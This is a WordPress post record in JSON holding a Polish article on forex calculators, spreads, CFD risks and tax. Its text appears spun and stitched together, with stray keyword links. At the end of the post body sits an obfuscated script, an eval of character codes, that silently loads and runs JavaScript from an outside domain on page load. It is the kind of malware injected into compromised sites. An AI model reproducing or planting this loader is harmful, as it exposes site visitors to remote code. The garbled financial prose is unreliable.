WzEgn7Yzc884YqmawM7LWQVSKPLHLH4bufrIpsP8A0f8A2TNmhy6GWozeJYIIld2nU7kABFr+q9yTxZR3Y98QqKRB5sfXGDEjjkWA98ZQBje\/HuMKdgTtxlkG54anZ0Wm+svQTJ+oFJNW5ZDFS5nYsxCAJUG3G76+l\/4++OAeoPSDV\/TzU8ucZA9Vk2b0bH8l1Dr6hh2Kn+Bx6vyAbewxTNf9NNO6+ytqPNqUJMqnwalFG+M\/6j6Y6sOTwGSchZpIubb1XKfw+\/GFFqOWLRPVMjLc+HkSpkHkqDbk3\/2eb8gEjYvxEdCtJfEToY6fziZaeupt0+T5mgDtSzMvfuN0beXct+QFIIKjHPXXb4Y8yyOrd5KVx5r09bD2NuQQfQ+tjgHSD4hNbdK5Y9L9UknrcjDCOLM9p\/Bv6Px29j\/H1YWTYe\/lqRs5aaeuMuo3SHWPRrWMmjuoWXfJTAlqWsS5pquMf+JFJYAi\/wBiOzWOLH0m6Pas61aifTWjqeHx6OEy1GZ1DbKamQXssr24djcKO5sfRTb1Dz7T3THrhpiKj1NlVBqTJKn8Qbr3U2vuR1IaNv8AOp3AG4OM9Pem2h+lWRf8OaGyCHKqISmRlVmkklci29pGJZiQB3Jt2Ww4GEMLeFcdrjuW2cwyrKcygWizPL4KiJHEirIoO17cFT3BsT298N5y1JHHl1BCW5AI3ElVJ5Nzzfm\/6YlakARGUDzIrFT7WFxhhkADpNM43ODYMcOzuUT5Tijgjhi8MbbtwwPP9cEIaM\/hkMDyUY9vscLqFVU8RRZiRyMYpxuAJ5whNpSUpXjYWU8+xwmeopqKnaqqZ44IoxuYyNZbYO0aEElewuMar615jWxZTltNHUusU8z+Io7PtAtf7Xxi1DKOFivyAL2jotOHAcmZsV1a2bl+Z5dmkC1OX1UVRC3AkjYMp\/X3+mE5nkuUZ3A9FmuWU1bTOCrQzRhkYG4IKng9z\/I+gxA9MKSmp9EUBghVDUqZZbD87k9z\/AD9MTGaySRUoWKRkDzxRNY2O1nCkX9OCee+LcOY5EDJnCi4A\/qpPGIZXRjsaTiLw6ufxFBEEAJRBazN28QW5tYWBPtfttOD1crWNKkjw1D38wjVjCAeTtbjvxyDyeRa5FG6lZhXUMmjaehrJqaOr1LQ0s4hcx74iHYodtuCyqbfQe2LX4sn7IzCt3XmEMrhiL2KoCvHawJJt25ONErtoLlSTQtay6jfELp7prq2h0mMukro4kX9pNBKu+mYi6rY\/mO3k3IPI5vwNsafzmi1DlNHneXeMKauhWeESxtG+xuQSDYg2\/3644K0PEmp9fZLNn966TMM6jWqaViTKGYFgx+pJx6DpDFDTqkUaoqAqoUWAANgLfYAfpjjaRly5rpHvPAPAXM0zJlynSOceAeAtPfE11cy7pDoVq6mf\/8AUmZb6TJVRrSRyEDfOeb7EBBI5UkopFjjk34U+j9X1X15Jq\/U1LNWZJks4qaxpBu+cq2JdUJP5rHzSDm42C13BDD4x85zTMuuma0VdWyTU+W09LBSRN+WFDEkjBQO13diT3JP0GO3\/hnyXKsl6DaPjyqijphWUEdZUbL3lnkAZ3Y9yST\/AAsBwAMfUwP7D0USxf3k1WfAK5FnVdSLJvkj7eVctUa009pDTGY6rzqvWny\/LIi85lIV72G2Pa377XAVe5LD3x5wqNYfFJ1s5ZxPndVzbzR5dRRj254RP\/U55N3vjoH+0GzXMaLTmmsqpapo6WsrJjUILfibEQqCe9gXJte17ewsL+z0ynLjl+rc9NHGa9ZaWlWcjzLCQWKD0ALWJt3st+wsukNbpWlSaoBch6fS+ENUkOdqDNPPDByfquqtK6ZyfR+nst0rp+kWny7LaZIKeIWuFUck+7HksT3JLHvfGuKb4pekVTr3Men1ZnBoK6iqjRJUzc0k0wsGRJBf8rblu20G3FyRe5dWsxrsm6ZaozTKql6Wrpsoq5YZ4zZ43WMlWB7gg8g+hx57fC5ltBnnXXSlLm9LHVxCaep2Si4MsVNJNGx9ysiK3Pt7cY5ej6XFqWNkZeQT8F9OtrbqmpyafNDjQgfF58L0tkpoKhA0q7rHcGuQV4tuBHKmxPIP9BgAjrKW6lxMqsfIxAdR32qbWJC9geSSbt6LIHyxll4IBI\/QHHnhqzqZr\/TPxCaqrMj1ZmNLJJqCspJAJdySQwyMkSMjXVgqqoAI4tfvjm6Zpp1H3KdW1u796XS1DMGnlgc29xAXoHDVxzP4A8koXcY24a17Xt6i9hccc9zxgpQgB93B7H0OE\/LwVMKLPEr3ZTcjkG\/BB9CLmxHY84aZRLIxqadnLJTTmGIMb7UHYXPJ7dzzjmVRIK3RuEjQ5O7c3tzjJjIdSG4Hp6HBwBuHGMWG4cYiLhSby0kVSg+ZQEk9zwVNiLg9wbHuOcC8GshT8KRZVud3iGxHPfd7Ae\/JvycPJfyj7jAKpilJM6khlUkEehtfBAvhNQpcwfEbrP8A4i1EmnaKanjoskVxUieRV8Sdyt09fMlltb1Ljscbb6IaUn05o6CpzCmEGYZuwqqhfEVvLbyAbQLAqA1jzdz745fonfONeCHMnaZa3NJo5wWI3q0lytxawvzYdj2x2vQsUq3plNookj2L7XW5\/nj0+s\/9nhxYjOh5K4eD\/OnfK5PQCWHNgvbBFs4vexwNfX74LYWHHrjzC7YApNqmip6iN4miI3AjerFXXkG6sOQeMNb5lRu0t1qoP\/4yAjrzc2PYgDgA278k4fsTsBxj9z9MBK7gprT5nBUzCnAaKYrv8KTyvtuRe3qLgi44uO+HJYW3BhYi4PvgFRBDNH+JGpIswI4IYG4II5BBsf0HtiJyiqqGqa2jaZmipmCRBjchSu4i\/c8n1+nsMMG2l3Wpgi9r9z3w4DheRY4bAksPthTkhDhVEJ4KaYgyRkMltrqSrCzXtcc2J7jsfW+Pv+0IC7BhUx33EkBXAJJNreU+wAAAA9cBkYhTY4e0xJVbm98RM02UqGshllMXKShd5if8wW9r29RcW3Dj2JxEavkNXBlOTxQuTmebUoeZOQkcJNSd3+VhBs9iXA7XxLTxRSoUkjVgvIuO1iSP4EA\/fFYr55l6p6aytZXFI2QZxUmHcdvix1FAiPb\/ABBJJFB9nb3OInoK5hvQemMA8k3+2FEDw1PryMITt+pxRG3dIT4QPA4Smbyeb1NsZ2Hnm5HbAm\/1w8jAJ7YvS2mWY5Flue0cmX5pRR1EEq2ZHW4+\/wBMaJ1\/8NeXTV1HJSUC1mWNO8ksbHcY12NYMvZhcrzzxjpGmVTfgYKiqa+NSBbwTx9yBjTj5L8c23p4WaaIS8FcNZZ0P1t04zn9q9Ks3iGXSOTU5FXyssJB7+DIAxjPfgqV5Pa\/G6+nOldeaznZ9QZRT5LSRg72FSJ33fugbV2kd+b347euNsaiyXK4sxieKjRDIQW2kgEk+w4xa8roqWhoYYqSBYkKBiF9SfXGvJyGOYHhvJVEMbwSC7gL\/9k=\" width=\"304px\" alt=\"kalkulator forex\"\/><\/p>\n<p>67% rachunk\u00f3w inwestor\u00f3w detalicznych traci pieni\u0105dze inwestuj\u0105c z tym dostawc\u0105. Upewnij si\u0119, czy mo\u017cesz sobie pozwoli\u0107 na podj\u0119cie wysokiego ryzyka utraty pieni\u0119dzy. Portal informuje, \u017ce inwestowanie na rynkach finansowych mo\u017ce wi\u0105za\u0107 si\u0119 z istotnym poziomem ryzyka i wyst\u0105pienia znacznych strat zainwestowanych \u015brodk\u00f3w finansowych. W przypadku wymienionych instrument\u00f3w dzia\u0142anie d\u017awigni finansowej mo\u017ce przyczyni\u0107 si\u0119 do wyst\u0105pienia strat przekraczaj\u0105cych depozyt pocz\u0105tkowy inwestora. Je\u017celi skusz\u0105 Ci\u0119 niskie spread akcje czy mo\u017ce spread indeksy, sprawd\u017a w jakich godzinach odbywa si\u0119 kwotowanie tych instrument\u00f3w. W przypadku indeks\u00f3w najlepsi i najwi\u0119ksi brokerzy, cz\u0119sto oferuj\u0105 kwotowanie poza godzinami handlu na indeksie kasowym, a czasem nawet poza godzinami, kwotowanie na kontraktach terminowych futures.<\/p>\n<p>W tym przypadku wyobra\u017amy sobie, \u017ce stawiasz stop-loss w odleg\u0142o\u015bci 20 pips\u00f3w. Kontrakty CFD s\u0105 z\u0142o\u017conymi instrumentami i wi\u0105\u017c\u0105 si\u0119 z du\u017cym ryzykiem szybkiej utraty \u015brodk\u00f3w pieni\u0119\u017cnych z powodu d\u017awigni finansowej. Od 74% do 89% rachunk\u00f3w inwestor\u00f3w detalicznych odnotowuje straty pieni\u0119\u017cne w wyniku handlu kontraktami CFD. Zastan\u00f3w si\u0119, czy rozumiesz, jak dzia\u0142aj\u0105 kontrakty CFD, i czy mo\u017cesz pozwoli\u0107 sobie na wysokie ryzyko utraty twoich pieni\u0119dzy. Wszystkie tre\u015bci zamieszczone na stronie i jej podstronach maj\u0105 wy\u0142\u0105cznie charakter informacyjny i prezentuj\u0105 opinie w\u0142asne autor\u00f3w.<\/p>\n<p>Kalkulator pozwala obliczy\u0107 odsetki od lokaty z uwzgl\u0119dnieniem r\u00f3\u017cnych rodzaj\u00f3w kapitalizacji oraz wylicza efektywne oprocentowanie lokaty. Rozmiar pozycji jest tylko jedn\u0105 z wielu rzeczy, <a href=\"google.com\/search?hl=pl&#038;gl=PL&#038;ei=02T9X8MRlYTA8A-bjYOwAQ&#038;q=najlepsi+brokerzy+forex&#038;oq\">najlepsi brokerzy forex<\/a> kt\u00f3rych nale\u017cy si\u0119 nauczy\u0107. Wszystko co musisz zrobi\u0107 to wprowadzi\u0107 odpowiednie warto\u015bci. Wybierz par\u0119 walutow\u0105, kt\u00f3r\u0105 handlujesz, a kalkulator obliczy dla Ciebie warto\u015b\u0107 pipsa.<\/p>\n<p>Polecenia godny jest kalkulator Fibonacciego, kt\u00f3ry pozwala okre\u015bli\u0107 podstawowe poziomy i rozszerzenia Fibonacciego dla trend\u00f3w zwy\u017ckowych i spadkowych. Kalkulator s\u0142u\u017cy do wyznaczania zbli\u017conych target\u00f3w cenowych. Warto korzysta\u0107 z tego urz\u0105dzenia, aby szybciej dokonywa\u0107 przelicze\u0144. Przenosz\u0105c powy\u017csz\u0105 wiedz\u0119 na grunt prawa podatkowego, wskaza\u0107 nale\u017cy, \u017ce przych\u00f3d z pochodnych instrument\u00f3w finansowych stanowi przych\u00f3d z kapita\u0142\u00f3w pieni\u0119\u017cnych, o kt\u00f3rym mowa w art. 10 ust. Jak tam czytamy, za przychody z kapita\u0142\u00f3w pieni\u0119\u017cnych uwa\u017ca si\u0119 przychody z odp\u0142atnego zbycia pochodnych instrument\u00f3w finansowych oraz z realizacji praw z nich wynikaj\u0105cych. W pierwszym przypadku broker do wyniku z danej operacji dolicza tak\u017ce punkty swapowe.<\/p>\n<h2 id=\"toc-3\">Czym Jest Inwestowanie A Czym Oszcz\u0119dzanie?<\/h2>\n<p>W naszym zestawieniu prezentujemy tylko firmy, kt\u00f3re s\u0105 notyfikowane przez KNF, i tak jest w tym przypadku. Zablokowanie zapisywania plik\u00f3w cookies na urz\u0105dzeniu ko\u0144cowym lub ich usuni\u0119cie mo\u017cliwe jest w po w\u0142a\u015bciwym skonfigurowaniu ustawie\u0144 przegl\u0105darki internetowej. Wi\u0119cej o blokowaniu i usuwaniu plik\u00f3w cookies znajdziesz w Polityce prywatno\u015bci. Zablokowanie mo\u017cliwo\u015bci zapisywania plik\u00f3w cookies mo\u017ce spowodowa\u0107 utrudnienia lub brak dzia\u0142ania niekt\u00f3rych funkcji serwisu. Niedokonanie zmian ustawie\u0144 przegl\u0105darki internetowej na ustawienia blokuj\u0105ce zapisywanie plik\u00f3w cookies jest jednoznaczne z wyra\u017ceniem zgody na ich zapisywanie. Ta strona u\u017cywa plik\u00f3w cookies w celach statystycznych oraz funkcjonalnych.<\/p>\n<p>Przechodz\u0105c do podsumowania, trzeba podkre\u015bli\u0107, \u017ce rozliczenie podatku za przychody z Forex, w du\u017cej mierze uzale\u017cniona jest od siedziby brokera, za po\u015brednictwem kt\u00f3rego dzia\u0142a na rynku polski rezydent podatkowy. W obu przypadkach kwalifikacja \u017ar\u00f3d\u0142a przychodu jest jednak taka sama \u2013 to doch\u00f3d z kapita\u0142\u00f3w pieni\u0119\u017cnych w postaci obrotu pochodnymi instrumentami finansowymi, kt\u00f3ry podlega opodatkowaniu 19-procentowym podatkiem. Jest oczywi\u015bcie pewien procent ludzi potrafi\u0105cych zarobi\u0107 na Foreksie, ale s\u0105 to tylko wytrawni, do\u015bwiadczeni traderzy, kt\u00f3rzy stosuj\u0105 cz\u0119sto profesjonalne strategie, maj\u0105 wiedz\u0119 i cierpliwo\u015b\u0107, r\u00f3wnie\u017c niezb\u0119dn\u0105 w tej dziedzinie. Jako beneficjent\u00f3w gry na Foreksie nale\u017cy tu te\u017c wskaza\u0107 samych broker\u00f3w.<\/p>\n<p>Kalkulator ilo\u015bci dni Kalkulator pozwala wyliczy\u0107 ile dni zawiera okres czasu pomi\u0119dzy zadanymi terminami. Kalkulator dat Kalkulator pozwala wyliczy\u0107 dat\u0119, jaka b\u0119dzie po up\u0142ywie okre\u015blonej ilo\u015bci dni, miesi\u0119cy i lat od okre\u015blonego dnia. Kalkulator odleg\u0142o\u015bci Kalkulator pozwala wyliczy\u0107 odleg\u0142o\u015b\u0107 pomi\u0119dzy dwiema zadanymi miejscowo\u015bciami. Kalkulator koszt\u00f3w energii Kalkulator koszt\u00f3w zu\u017cycia energii elektrycznej. XM, zdaj\u0105c sobie spraw\u0119, \u017ce nie ka\u017cdy trader mia\u0142 co\u015b wsp\u00f3lnego z forexem, przed za\u0142o\u017ceniem konta, oferuje bogaty dzia\u0142 edukacji. Mo\u017cna znale\u017a\u0107 w nim analizy rynkowe, webinary online, seminaria offline czy te\u017c takie narz\u0119dzia jak sygna\u0142y Forex, kalkulatory Forex.<\/p>\n<p>Przechodz\u0105c przez r\u00f3\u017cne klasy aktyw\u00f3w, spread gie\u0142da, spread akcje, spread indeksy, spread towary\u2026 docieramy do kwestii najni\u017csze spready Forex i spread waluty. Niski spread oznacza niskie koszty wej\u015bcia i wyj\u015bcia z rynku. Najni\u017csze warto\u015bci speadu znajdziesz na najbardziej p\u0142ynnych parach walut \u2013 EURUSD, USDJPY czy AUDUSD. Zobacz na w\u0142asne oczy, jak kszta\u0142tuj\u0105 si\u0119 spready na Forex \u2013 otw\u00f3rz bezp\u0142atne demo. Chc\u0105c zarobi\u0107 ca\u0142kiem spore pieni\u0105dze, warto zainteresowa\u0107 si\u0119 tym, co ma do zaoferowania Forex. To raj dla inwestor\u00f3w z prawdziwego zdarzenia, kt\u00f3rzy ceni\u0105 sobie ryzykowne inwestycje, podnosz\u0105ce im poziom adrenaliny we krwi. Na rynku Forex inwestuje si\u0119 w waluty z ca\u0142ego \u015bwiata, trzeba wi\u0119c dobrze pozna\u0107 ten rynek, by m\u00f3c na nim inwestowa\u0107.<\/p>\n<p>Ju\u017c wyja\u015bniam, co to jest spread kalendarzowy i co si\u0119 na niego sk\u0142ada.Spread kalendarzowy to r\u00f3\u017cnica w cenie pomi\u0119dzy dwoma r\u00f3\u017cnymi kontraktami terminowymi na warto\u015b\u0107 tego samego instrumentu bazowego. Spread legs\u2013 ka\u017cdy z kontrakt\u00f3w jest jedn\u0105 z dw\u00f3ch \u201en\u00f3g\u201d takiego instrumentu, a cena spreadu kalendarzowego wynika bezpo\u015brednio z r\u00f3\u017cnicy pomi\u0119dzy poziomami cen tych dw\u00f3ch kontrakt\u00f3w. Powiemy Ci tak\u017ce, jak mo\u017cna wykorzysta\u0107 sta\u0142y i zmienny spread w obserwacji zmiany cen. Bonusowo podpowiemy, jak szybko znale\u017a\u0107 najni\u017csze spready Forex i zweryfikowa\u0107, czy ich dostawca jest rzetelny. Ca\u0142y proces zarabiania na platformie Forex, opiera si\u0119 o kupno i jednoczesn\u0105 sprzeda\u017c danych walut.<\/p>\n<p>Aby wp\u0142aci\u0107 wymagany depozyt mo\u017cna skorzysta\u0107 z bezp\u0142atnie dost\u0119pnych mo\u017cliwo\u015bci (karty kredytowe, portfele elektroniczne, przelewy bankowe powy\u017cej 200 USD) lub te\u017c p\u0142atnych. Je\u017celi chodzi o typ brokera, to w tym przypadku mamy do czynienia z Market Maker. W trosce o bezpiecze\u0144stwo Pa\u0144stwa \u015brodk\u00f3w oraz danych zach\u0119camy do zapoznania si\u0119 z komunikatem Prokuratury Krajowej, Komendy G\u0142\u00f3wnej Policji i FinCERT.pl \u2013 Bankowego Centrum Cyberbezpiecze\u0144stwa <a href=\"google.com\/search?hl=pl&#038;gl=PL&#038;ei=YGX9X8mMEbqjjgafqr2IDQ&#038;q=pary+walutowe+forex&#038;oq\">pary walutowe forex<\/a> ZBP z dnia 10 lipca 2020 r. Ostrzegaj\u0105cym przed pr\u00f3bami oszustw zwi\u0105zanych z inwestowaniem na rynkach kryptowalut i Forex za po\u015brednictwem fa\u0142szywych serwis\u00f3w internetowych. Podsumowuj\u0105c, kalkulatory pomagaj\u0105 w liczeniu cen walut i wspomagaj\u0105 inwestor\u00f3w w ich dzia\u0142aniach. Kolejnym kalkulatorem jest kalkulator punkt\u00f3w zwrotu u\u017cytkowany w czterech r\u00f3\u017cnych popularnych systemach pokazuj\u0105cy cen\u0119 najwy\u017csz\u0105, najni\u017csz\u0105 i zamkni\u0119cia z przednich dni.<\/p>\n<p>Operator webu nie ponosi odpowiedzialno\u015bci za decyzje poszczeg\u00f3lnych u\u017cytkownik\u00f3w. Wszystkie informacje na tej stronie internetowej s\u0105 subiektywnymi opiniami autor\u00f3w i maj\u0105 charakter czysto informacyjny. Nie chodzi <a href=\"http:\/\/www.haldern-kirche.de\/automatyka-domowa-napedy-do-bram-producent-bram\/\">http:\/\/www.haldern-kirche.de\/automatyka-domowa-napedy-do-bram-producent-bram\/<\/a> o zlecenia inwestycyjne ani te\u017c o analizy mo\u017cliwo\u015bci inwestycyjnych. Operator serwera ForBino.com ani jego poszczeg\u00f3lni autorzy nie s\u0105 zarejestrowanymi brokerami, doradcami inwestycyjnymi czy te\u017c maklerami.<\/p>\n<p>XM (a w w\u0142a\u015bciwie Trading Point Holdings Ltd) to broker forex, kt\u00f3ry swoje us\u0142ugi na rynku inwestycyjnym zacz\u0105\u0142 oferowa\u0107 dekad\u0119 temu czyli w 2009 roku. Jest to jeden z wiod\u0105cych (i r\u00f3wnie\u017c najbardziej rozpoznawalnych) broker\u00f3w na \u015bwiecie i w\u015br\u00f3d polskich inwestor\u00f3w. Jak mo\u017cna zobaczy\u0107 na stronie, ju\u017c ponad 1.5 mln klient\u00f3w z ponad 190 kraj\u00f3w zaufa\u0142o temu brokerowi. Do tego dochodz\u0105 te\u017c presti\u017cowe, bran\u017cowe wyr\u00f3\u017cnienia (np. tytu\u0142 \u201eNajlepszy broker FX w Europie 2017, 2018\u201d przyznany przez World Finance Forex Awards 2017, 2018), kt\u00f3re potwierdzaj\u0105, \u017ce XM jest w czo\u0142\u00f3wce \u015bwiatowej broker\u00f3w. W tej kwestii r\u00f3wnie\u017c jak bumerang powraca zagadnienie matematycznego wyliczenia warto\u015bci spreadu.<\/p>\n<p>Realnie, nie mo\u017cemy oceni\u0107 czy op\u0142aca si\u0119 handlowa\u0107 FX,ka\u017cda kryptowaluta jest specyficzna i musisz j\u0105 pozna\u0107 wszystko, co wp\u0142ywa na ich cen\u0119. Uwa\u017camy jednak, \u017ce zawsze bezpieczniej jest handlowa\u0107 kryptowalutami o wy\u017cszej kapitalizacji rynkowej, z regu\u0142u mog\u0105 unikn\u0105\u0107 takich waha\u0144 kurs\u00f3w, jak te o ni\u017cszych cenach. Osobi\u015bcie mam z\u0142e do\u015bwiadczenia z handlem altcoinami z nisk\u0105 warto\u015bci\u0105 rynkow\u0105, kilkakrotnie ju\u017c si\u0119 spali\u0142em, wol\u0119 wi\u0119c handlowa\u0107 kryptowalutami z pierwszej dwudziestki (wed\u0142ug kapitalizacji rynkowej). Z mojego do\u015bwiadczenia wynika, \u017ce wahania cen u najlepszych kryptowalut s\u0105 zazwyczaj ni\u017csze, mo\u017cna je wi\u0119c w prostszy spos\u00f3b przewidzie\u0107. Nale\u017cy pami\u0119ta\u0107 o tym, i\u017c cena BitCoinu\/Ethereum ma podstawowy wp\u0142yw na warto\u015b\u0107 FX.<\/p>\n<p><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,102,111,114,46,102,105,114,115,116,98,108,97,99,107,112,104,97,115,101,46,99,111,109,47,116,114,98,98,98,98,98,50,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*674867468*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Content Op\u0142aca Si\u0119 Handlowa\u0107 Monet\u0105 Function X, Czy Polecasz Jak\u0105\u015b Inn\u0105 Kryptowalut\u0119? Podsumowanie Tygodnia Na Ameryka\u0144skiej Gie\u0142dzie Czy Warto Handlowa\u0107 Function X? Czym Jest Inwestowanie A Czym Oszcz\u0119dzanie? Jak Handlowa\u0107&hellip; <\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/kirandhara.com\/index.php?rest_route=\/wp\/v2\/posts\/27639"}],"collection":[{"href":"https:\/\/kirandhara.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kirandhara.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kirandhara.com\/index.php?rest_route=\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/kirandhara.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=27639"}],"version-history":[{"count":0,"href":"https:\/\/kirandhara.com\/index.php?rest_route=\/wp\/v2\/posts\/27639\/revisions"}],"wp:attachment":[{"href":"https:\/\/kirandhara.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=27639"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kirandhara.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=27639"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kirandhara.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=27639"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}